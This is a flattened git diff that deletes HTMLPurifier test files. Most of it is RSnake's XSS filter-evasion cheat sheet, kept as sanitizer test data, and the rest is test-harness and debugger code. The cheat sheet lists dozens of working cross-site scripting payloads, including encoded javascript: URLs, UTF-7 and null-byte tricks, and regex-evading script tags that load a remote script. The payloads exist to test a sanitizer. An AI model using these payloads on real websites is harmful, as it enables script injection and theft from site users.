class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" - Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - No Quotes/Semicolons - <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Event Handlers List 1 - See Below - Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - --onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element's timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - --onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - - Browser support: - - - Event Handlers List 2 - See Below - - -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) - - - - Browser support: - - - Event Handlers List 3 - See Below - -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowDelete() (user or attacker would need to delete a row in a data source) - --onRowInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> - And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IP Encoding - <A HREF="http://66.102.7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - URL Encoding - <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Dword Encoding - <A HREF="http://1113982867/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Hex Encoding - <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Octal Encoding - <A HREF="http://0102.0146.0007.00000223/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Mixed Encoding - <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The tabs and newlines only work if this is encapsulated with quotes. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Protocol Resolution Bypass - <A HREF="//www.google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Firefox Lookups 1 - <A HREF="//google">XSS</A> - Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 2 - <A HREF="http://ha.ckers.org@google">XSS</A> - This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 3 - <A HREF="http://google:ha.ckers.org">XSS</A> - This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Removing Cnames - <A HREF="http://google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Extra dot for Absolute DNS - <A HREF="http://www.google.com./">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Link Location - <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) -JavaScript link location - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Content Replace - <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> - Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - diff --git a/classes/security/htmlpurifier/test-settings.sample.php b/classes/security/htmlpurifier/test-settings.sample.php deleted file mode 100644 index 886b97486..000000000 --- a/classes/security/htmlpurifier/test-settings.sample.php +++ /dev/null @@ -1,76 +0,0 @@ -_command = $command; - $this->_quiet = $quiet; - $this->_size = $size; - } - public function getLabel() { - return $this->_command; - } - public function run($reporter) { - if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); - return $this->_invokeCommand($this->_command, $reporter); - } - public function _invokeCommand($command, $reporter) { - $xml = shell_exec($command); - if (! $xml) { - if (!$this->_quiet) { - $reporter->paintFail('Command did not have any output [' . $command . ']'); - } - return false; - } - $parser = $this->_createParser($reporter); - - set_error_handler(array($this, '_errorHandler')); - $status = $parser->parse($xml); - restore_error_handler(); - - if (! $status) { - if (!$this->_quiet) { - foreach ($this->_errors as $error) { - list($no, $str, $file, $line) = $error; - $reporter->paintFail("Error $no: $str on line $line of $file"); - } - if (strlen($xml) > 120) { - $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); - } else { - $msg = $xml; - } - $reporter->paintFail("Command produced malformed XML"); - $reporter->paintFormattedMessage($msg); - } - return false; - } - return true; - } - public function _createParser($reporter) { - $parser = new SimpleTestXmlParser($reporter); - return $parser; - } - public function getSize() { - // This code properly does the dry run and allows for proper test - // case reporting but it's REALLY slow, so I don't recommend it. - if ($this->_size === false) { - $reporter = new SimpleReporter(); - $this->_invokeCommand($this->_command . ' --dry', $reporter); - $this->_size = $reporter->getTestCaseCount(); - } - return $this->_size; - } - public function _errorHandler($a, $b, $c, $d) { - $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/Debugger.php b/classes/security/htmlpurifier/tests/Debugger.php deleted file mode 100644 index 45e107f44..000000000 --- a/classes/security/htmlpurifier/tests/Debugger.php +++ /dev/null @@ -1,147 +0,0 @@ -paint($mixed); -} -function paintIf($mixed, $conditional) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIf($mixed, $conditional); -} -function paintWhen($mixed, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintWhen($mixed, $scopes); -} -function paintIfWhen($mixed, $conditional, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIfWhen($mixed, $conditional, $scopes); -} -function addScope($id = false) { - $Debugger =& Debugger::instance(); - return $Debugger->addScope($id); -} -function removeScope($id) { - $Debugger =& Debugger::instance(); - return $Debugger->removeScope($id); -} -function resetScopes() { - $Debugger =& Debugger::instance(); - return $Debugger->resetScopes(); -} -function isInScopes($array = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->isInScopes($array); -} -/**#@-*/ - - -/** - * The debugging singleton. Most interesting stuff happens here. - */ -class Debugger -{ - - public $shouldPaint = false; - public 